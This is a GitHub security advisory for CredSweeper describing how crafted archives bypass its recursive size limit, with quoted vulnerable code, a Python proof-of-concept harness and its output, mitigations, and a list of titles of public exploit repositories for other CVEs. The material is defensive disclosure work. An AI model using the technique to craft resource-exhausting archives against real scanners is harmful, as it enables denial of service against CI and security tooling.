Feed/GHSA-9mqm-qcwf-5qhg
GHSA-9mqm-qcwf-5qhgMEDIUMCVSS 5.5

CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources

Published Jul 10, 2026·Updated Jul 10, 2026

NVD Description

### Summary CredSweeper's deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative. This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth > 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`. The issue has two closely related exploitation paths that share the same root cause: 1. Single-stream decompressor bypass: `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative. 2. Multi-entry archive cumulative-budget bypass: `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate. The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue. ### Details The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively. The relevant call chain is: - `credsweeper/app.py:323` `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)` - `credsweeper/deep_scanner/abstract_scanner.py:269-305` The initial deep-scan entry point passes a recursive size budget into nested scanners. - `credsweeper/deep_scanner/abstract_scanner.py:58-94` `recursive_scan()` stops only on: - negative depth - data shorter than `MIN_DATA_LEN` It does **not** stop when `recursive_limit_size` is negative. Exact source-level issue: 1. Negative budgets are still accepted `credsweeper/deep_scanner/abstract_scanner.py:71-91` ```python if 0 > depth: return candidates depth -= 1 if MIN_DATA_LEN > len(data_provider.data): return candidates ... new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size) ``` There is no guard such as `if recursive_limit_size < 0: return`. 2. Full decompression happens before any hard budget enforcement `credsweeper/deep_scanner/gzip_scanner.py:33-43` ```python with gzip.open(io.BytesIO(data_provider.data)) as f: gzip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(gzip_content_provider.data) gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/bzip2_scanner.py:38-43` ```python bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(bzip2_content_provider.data) bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/lzma_scanner.py:38-43` ```python lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(lzma_content_provider.data) lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit) ``` The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned. 3. Multi-entry archives use per-entry checks instead of a shared cumulative budget `credsweeper/deep_scanner/zip_scanner.py:49-60` ```python if 0 > recursive_limit_size - zfl.file_size: continue with zf.open(zfl) as f: zip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(zip_content_provider.data) zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/tar_scanner.py:48-59` ```python if 0 > recursive_limit_size - tfi.size: continue with tf.extractfile(tfi) as f: tar_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(tar_content_provider.data) tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit) ``` These checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit. 4. Same code pattern is also present in RPM scanning `credsweeper/deep_scanner/rpm_scanner.py:42-51` The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same. Version scope: - The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`. - The last release before that commit is `v1.4.8`. - The first release containing that commit is `v1.4.9`. - Current upstream HEAD and package version `1.15.8` are still affected. ### PoC I reproduced the issue on: - Repository: `https://github.com/Samsung/CredSweeper` - Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` - Version: `1.15.8` I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library. Reproduction steps: 1. Clone the repository: ```bash git clone https://github.com/Samsung/CredSweeper.git cd CredSweeper git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 ``` 2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly: ```python import bz2 import gzip import importlib.util import io import json import lzma import os import subprocess import sys import tarfile import types import zipfile REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper")) SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper") def load_module(name, relpath): spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath)) module = importlib.util.module_from_spec(spec) sys.modules[name] = module spec.loader.exec_module(module) return module def reset_credsweeper_modules(): for name in list(sys.modules): if name == "credsweeper" or name.startswith("credsweeper."): del sys.modules[name] def install_common_stubs(): for name in [ "credsweeper", "credsweeper.common", "credsweeper.config", "credsweeper.credentials", "credsweeper.deep_scanner", "credsweeper.file_handler", "credsweeper.scanner", "credsweeper.utils", ]: module = types.ModuleType(name) module.__path__ = [] sys.modules[name] = module constants_module = types.ModuleType("credsweeper.common.constants") constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30 constants_module.MIN_DATA_LEN = 8 constants_module.DEFAULT_ENCODING = "utf_8" constants_module.UTF_8 = "utf_8" constants_module.MIN_VALUE_LENGTH = 4 sys.modules["credsweeper.common.constants"] = constants_module config_module = types.ModuleType("credsweeper.config.config") class Config: pass config_module.Config = Config sys.modules["credsweeper.config.config"] = config_module candidate_module = types.ModuleType("credsweeper.credentials.candidate") class Candidate: @staticmethod def get_dummy_candidate(*_args, **_kwargs): return "dummy" candidate_module.Candidate = Candidate sys.modules["credsweeper.credentials.candidate"] = candidate_module augment_module = types.ModuleType("credsweeper.credentials.augment_candidates") def augment_candidates(dst, src): if src: dst.extend(src) augment_module.augment_candidates = augment_candidates sys.modules["credsweeper.credentials.augment_candidates"] = augment_module descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor") class Descriptor: def __init__(self, extension="", info=""): self.extension = extension self.info = info descriptor_module.Descriptor = Descriptor sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor") class FilePathExtractor: FIND_BY_EXT_RULE = "Suspicious File Extension" @staticmethod def is_find_by_ext_file(_config, _extension): return False @staticmethod def check_exclude_file(_config, _path): return False file_path_extractor_module.FilePathExtractor = FilePathExtractor sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module scanner_module = types.ModuleType("credsweeper.scanner.scanner") class Scanner: pass scanner_module.Scanner = Scanner sys.modules["credsweeper.scanner.scanner"] = scanner_module util_module = types.ModuleType("credsweeper.utils.util") class Util: @staticmethod def get_extension(path, lower=True): ext = os.path.splitext(str(path))[1] return ext.lower() if lower else ext util_module.Util = Util sys.modules["credsweeper.utils.util"] = util_module content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider") class ContentProvider: pass content_provider_module.ContentProvider = ContentProvider sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider") class DataContentProvider: def __init__(self, data, file_path=None, file_type=None, info=None): self.data = data self.file_path = file_path or "" self.file_type = file_type or "" self.info = info or "" self.descriptor = Descriptor(extension=self.file_type, info=self.info) data_content_provider_module.DataContentProvider = DataContentProvider sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module def install_provider_stub(module_name, class_name): module = types.ModuleType(module_name) class Provider: def __init__(self, *args, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) setattr(module, class_name, Provider) sys.modules[module_name] = module install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider") install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider") install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider") install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider") install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider") def get_head_commit(): return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip() def get_package_version(): init_path = os.path.join(SOURCE_ROOT, "__init__.py") with open(init_path, "r", encoding="utf-8") as handle: for line in handle: if line.strip().startswith("__version__ = "): return line.split("=", 1)[1].strip().strip('"') raise RuntimeError("Cannot locate __version__") def load_scanners(): reset_credsweeper_modules() install_common_stubs() abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py") gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py") bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py") lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py") zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py") tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py") provider_module = sys.modules["credsweeper.file_handler.data_content_provider"] return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module class RecordingRecursiveCalls: def __init__(self): self.calls = [] self.config = object() def recursive_scan(self, data_provider, depth, recursive_limit_size): self.calls.append({ "path": data_provider.file_path, "len": len(data_provider.data), "limit": recursive_limit_size, "info": data_provider.info, "depth": depth, }) return [] def build_compressed_payloads(payload): gzip_buffer = io.BytesIO() with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle: handle.write(payload) return { "gzip": gzip_buffer.getvalue(), "bzip2": bz2.compress(payload), "lzma": lzma.compress(payload), } def proof_negative_budget_after_full_decompression(): _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider payload = b"A" * 64 recursive_limit_size = 16 compressed_payloads = build_compressed_payloads(payload) results = [] for name, module, file_name in [ ("gzip", gzip_module, "proof.txt.gz"), ("bzip2", bzip2_module, "proof.txt.bz2"), ("lzma", lzma_module, "proof.txt.xz"), ]: recorder = RecordingRecursiveCalls() provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}") scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner") scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size) results.append({ "format": name, "compressed_size": len(compressed_payloads[name]), "decompressed_size": recorder.calls[0]["len"], "configured_limit": recursive_limit_size, "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"], "recursive_call": recorder.calls[0], }) return results def proof_negative_budget_not_rejected(): abstract_module, _, _, _, _, _, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider AbstractScanner = abstract_module.AbstractScanner class DemoScanner(AbstractScanner): @property def config(self): return object() @property def scanner(self): return object() def data_scan(self, data_provider, depth, recursive_limit_size): return [] @staticmethod def get_deep_scanners(data, descriptor, depth): return [], [] def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size): self.proof = { "data_len": len(data_provider.data), "depth": depth, "recursive_limit_size": recursive_limit_size, } return [] demo = DemoScanner() provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt") demo.recursive_scan(provider, depth=1, recursive_limit_size=-48) return demo.proof def proof_cumulative_budget_bypass_in_multi_entry_archives(): _, _, _, _, zip_module, tar_module, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider recursive_limit_size = 16 member_size = 12 zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive: archive.writestr("a.txt", b"A" * member_size) archive.writestr("b.txt", b"B" * member_size) tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode="w") as archive: for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]: payload = fill * member_size info = tarfile.TarInfo(name) info.size = len(payload) archive.addfile(info, io.BytesIO(payload)) results = [] for name, module, data, scanner_name in [ ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"), ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"), ]: recorder = RecordingRecursiveCalls() provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}") getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size) results.append({ "format": name, "configured_limit": recursive_limit_size, "member_size": member_size, "member_count": len(recorder.calls), "total_extracted_bytes": sum(call["len"] for call in recorder.calls), "recursive_calls": recorder.calls, }) return results print(json.dumps({ "head_commit": get_head_commit(), "package_version": get_package_version(), "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(), "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(), "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(), }, indent=2, sort_keys=True)) ``` 3. Run it with Python 3: ```bash python proof_poc.py ``` 4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`: ```json { "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6", "package_version": "1.15.8", "proof_1_negative_budget_after_full_decompression": [ { "format": "gzip", "compressed_size": 24, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 }, { "format": "bzip2", "compressed_size": 39, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 }, { "format": "lzma", "compressed_size": 68, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 } ], "proof_2_negative_budget_not_rejected": { "data_len": 64, "depth": 0, "recursive_limit_size": -48 }, "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [ { "format": "zip", "configured_limit": 16, "member_size": 12, "member_count": 2, "total_extracted_bytes": 24 }, { "format": "tar", "configured_limit": 16, "member_size": 12, "member_count": 2, "total_extracted_bytes": 24 } ] } ``` What this proves: - GZIP/BZIP2/LZMA: With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`. - AbstractScanner: The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`. - ZIP/TAR: A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`. This is a complete end-to-end proof of the root cause and both exploitation variants. ### Impact This is an availability / resource-exhaustion vulnerability. Who is impacted: - Users who run CredSweeper with deep scanning enabled (`--depth > 0`) on untrusted repositories, archives, or binary inputs. - CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files. - Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content. Practical consequences: - Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget. - Archive inputs with many individually small members can exceed the configured budget in aggregate. - Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform. Security classification: - Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)` - Related weakness: `CWE-400: Uncontrolled Resource Consumption` I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion. ### Mitigation I recommend fixing this in three layers: 1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()` Before any recursive dispatch, abort when `recursive_limit_size < 0`. 2. Enforce limits before or during decompression, not after full materialization - `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads. - If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory. 3. Track a mutable cumulative budget across sibling archive members - `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries. - After one child is accepted, decrement the shared remaining budget before processing the next sibling. Recommended regression tests: - A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed. - Equivalent tests for bzip2 and lzma/xz. - A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted. - A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.

Affected Packages (1)

credsweeperPYPI
From 1.4.9
Fixed in 1.16.0

Public Exploits & PoCs100 found

PoC: CVE-2026-38192

pluck-CMS-4.7.20-code-injection-vulnerability

2

PoC: CVE-2026-62735

Windows HTTP.sys integer overflow -> nonpaged pool overflow LPE PoC (CVE-2026-62735): crash + full SYSTEM exploit; for authorized testing

1

PoC: CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

CVE-2026-82329 — JFrog Artifactory (self-hosted) Auth Bypass

1

PoC: CVE-2026-65349

CVE-2026-65349 PoC — getattrlist OOB write in vfs_attr_pack_internal (iOS 26.6 / 23G71)

1

PoC: CVE-2026-65343

CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)

1

PoC: CVE-2026-65330

CVE-2026-65330 PoC — setxattr PAC bypass via fixed #0x307a diversifier (iOS 26.6 / 23G71)

1

PoC: CVE-2026-64788

CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)

1

PoC: cve-2024-55591-poc

Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.

1

PoC: cve-2026-82329-jfrog-artifactory

CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis

1

PoC: CVE-2026-82592

D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing

1

PoC: My-Exploits

Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).

1

PoC: CVE-2025-66478-PoC-Reverse-Shell

CVE-2025-66478 PoC

1

PoC: cve-writeups-and-pocs

CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)

1

PoC: CVE-2026-80428

CVE-2026-80428 PoC

PoC: gha-lab-b1fe4918c0

Authorized security-research lab: reproduction of CVE-2025-32958 (GHSA-8c7v-vccv-cx4q) — GITHUB_TOKEN leaked into workflow artifacts by Adept's remoteBuild.yml (snapshot of AdeptLanguage/Adept @ 6a64554)

PoC: CVE-2026-83548-SonicWall-SMA1000-Analysis

Vulnerability Analysis of CVE-2026-83548 affecting SonicWall SMA1000 security systems.

PoC: CVE-2024-21546

This repository contains security assessment tooling, detection templates, and an automated exploit toolkit for identifying and exploiting Unauthenticated Remote Code Execution (RCE) in applications utilizing the `UniSharp/laravel-filemanager` package (Versions `< 2.9.1`).

PoC: CVE-2026-78071

Stored XSS via Location Title in DPCalendar Free

PoC: CVE-2026-78070

SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2

PoC: CVE-2026-19949

CVE-2026-19949 - Draft or TODO

PoC: CVE-2026-59822

CVE-2026-59822 - Draft or TODO

PoC: struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 detection & exploitation tool

PoC: gha-lab-becf103a54

Authorized security-research reproduction of CVE-2025-15617 (GHSA-6xqr-4q5g-xc7x): artipacked GITHUB_TOKEN leak in wazuh FIM Windows integration workflow artifacts

PoC: CVE-2025-9974

Proof of Concept code for the CVE-2025-9974 affecting Nokia Beacon routers.

PoC: tfo-connect-bypass

Bypassing connect()-based syscall rules using TCP Fast Open (CVE-2026-63828 PoC)

PoC: CVE-2026-38577-by-deepak-Anmol

CVE-2026-38577

PoC: gha-lab-23db52563c

Security-research lab: reproduction of CVE-2025-10894 (PR-title injection in GitHub Actions) — snapshot of nrwl/nx

PoC: CVE-2026-9335-keras-hdf5-externallink

CVE-2026-9335: KerasFileEditor and load_weights follow h5py ExternalLinks, disclosing arbitrary local HDF5 file contents in keras ≤ 3.14.0. Advisory + verified PoCs.

PoC: vsFTPd-2.3.4-Exploit

Python exploit for the vsFTPd 2.3.4 backdoor (CVE-2011-2523).

PoC: CVE-2026-73296

CVE-2026-73296

PoC: CVE-2026-19490

NetScaler ADC/Gateway SAML unsigned-assertion bypass via HTTP-Redirect binding (CTX696939) - root cause analysis + PoC

PoC: dast

CVE-2026-0828

PoC: SmarterMail-CVE-2026-24423-

Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.

PoC: gha-lab-d9fd584b12

Authorized security-research lab reproducing CVE-2024-47179 (GHSL-2024-178): artifact-poisoning pwn-request chain in RSSHub docker-test workflows (snapshot at 574d053)

PoC: LAB1-metasploitable

Exploitation des vulnérabilités sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)

PoC: CVE-2022-25765

CVE-2022-25765 | pdfkit v0.8.6 Python PoC

PoC: CVE-2026-7899

CVE-2026-7899 - Draft or TODO

PoC: gha-lab-6ab39df295

Controlled security-research lab reproducing CVE-2024-45798 (GHSA-h52q-xhg2-6jw8) in espressif/arduino-esp32 — poisoned-artifact pwn request via tests_results.yml workflow_run

PoC: CVE-2026-9586

CVE-2026-9586 - Draft or TODO

PoC: artifactory-CVE-2026-82329-poc.py

CVE-2026-82329 — JFrog Artifactory unauthenticated authentication bypass ("phantom join key" -> forged service admin token)

PoC: gha-lab-40e23db109

Security-research lab: controlled reproduction of CVE-2024-4254 (GHSA-fc78-c36r-cc59) — deploy-website.yml fork checkout/code execution in gradio-app/gradio @ d4c503a

PoC: root-s24-e1s

Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app

PoC: CVE-2024-49138-SOC-Investigation

SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.

PoC: gha-lab-ee08e207a8

Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml

PoC: CVE-2026-24061-Telnetd

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass

PoC: Fortigate-SSL-VPN-Exploit-Kit

The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.

PoC: CVE-2026-33017

CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.

PoC: CVE-2026-13753-poc

Poc of CVE-2026-13753

PoC: CVE-2026-82221

PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin

PoC: ActiveMQ-CVE-2023-46604

Exploit POC for Apache ActiveMQ CVE-2023-46604

PoC: gha-lab-0ba60e6456

Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)

PoC: CVE-2026-36130

CVE-2026-36130

PoC: CVE-2026-31321

CVE-2026-31321

PoC: postgresql-cve-2026-14662

PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料

PoC: CVE-2026-27472-and-CVE-2026-27474

PoC for CVE-2026-27472 and CVE-2026-27474

PoC: CVE-2026-27475

PoC for CVE-2026-27475

PoC: CVE-2026-18963

Unauthenticated account takeover via reset-credentials flow bypass

PoC: CVE-2026-0768

CVE-2026-0768 - Draft or TODO

PoC: CVE-2026-82329

CVE-2026-82329 - Draft or TODO

PoC: tomcat-line-check

CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.

PoC: tomcat85-check

CVE-2025-55752 CVE-2025-55754 CVE-2025-48988 CVE-2025-52520 CVE-2025-53506 CVE-2025-61795 CVE-2025-66614:Tomcat 8.5 已 EOL,终版 8.5.100。Apache 逐条声明「8.5 也受影响」的 2025 CVE 有 14 条,其中 10 条在 NVD 按 8.5.100 查不到。离线单 jar,读 conf/ 判断你到底中了哪几条。

PoC: log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证

PoC: CVE-2021-3493-Exploit

It's a CVE-2021-3493 Exploit written in C

PoC: gha-lab-8e9316151c

Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef

PoC: gha-lab-6255f5fc33

Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml

PoC: nextcloud-cve-2023-49792-research

A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.

PoC: CVE-2026-30252

The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.

PoC: CVE-2026-30251

A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.

PoC: gha-lab-fb32aba4a3

Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow

PoC: CVE-2018-14667_Lab_POC

Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server

PoC: weakrng-sweep

Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership

PoC: cve-2022-29117-assessment

CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework

PoC: POC-CVE-2026-0073

Security research PoC for CVE-2026-0073: ADB authentication bypass verification

PoC: gha-lab-232af4821f

Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.

PoC: CVE-2026-82222

GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE

PoC: CVE-2026-76569

Reflected XSS via search GET Parameter in Phoca Download

PoC: activemq-cve-lab

ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示

PoC: ghostlock-x200-app

vivo X200 设备端一键 root App(Shizuku 授权 shell 域执行,CVE-2026-43499)

PoC: gha-lab-b9842b12c0

Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment

PoC: gha-lab-e4a85583c3

Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument

PoC: Root-My-Galaxy

KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499

PoC: CVE-2026-78905-Facebook-Account-Takeover

Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.

PoC: CVE-2026-78904-Digital-Dinar-Drain

CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.

PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds

Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.

PoC: CVE-2026-60004-Gitea-RCE-PoC

🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC

PoC: CVE-2026-60004-Gitea-Validator

🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004

PoC: cve-2026-67363-67364

Balboa form Command Injection POC

PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-

Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).

PoC: CVE-2026-76581-Detector

Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.

PoC: htb-machine-ringdown

Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.

PoC: gha-lab-83342297e0

Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.

PoC: WP2Shell-Scanner

Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)

PoC: phpBB-CVE-2026-48611

Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass

PoC: Project-CVE-2026-45833

CVE-2026-45833 ChromaDB

PoC: CitrixBleedCVE-2026-8452-2025-5777

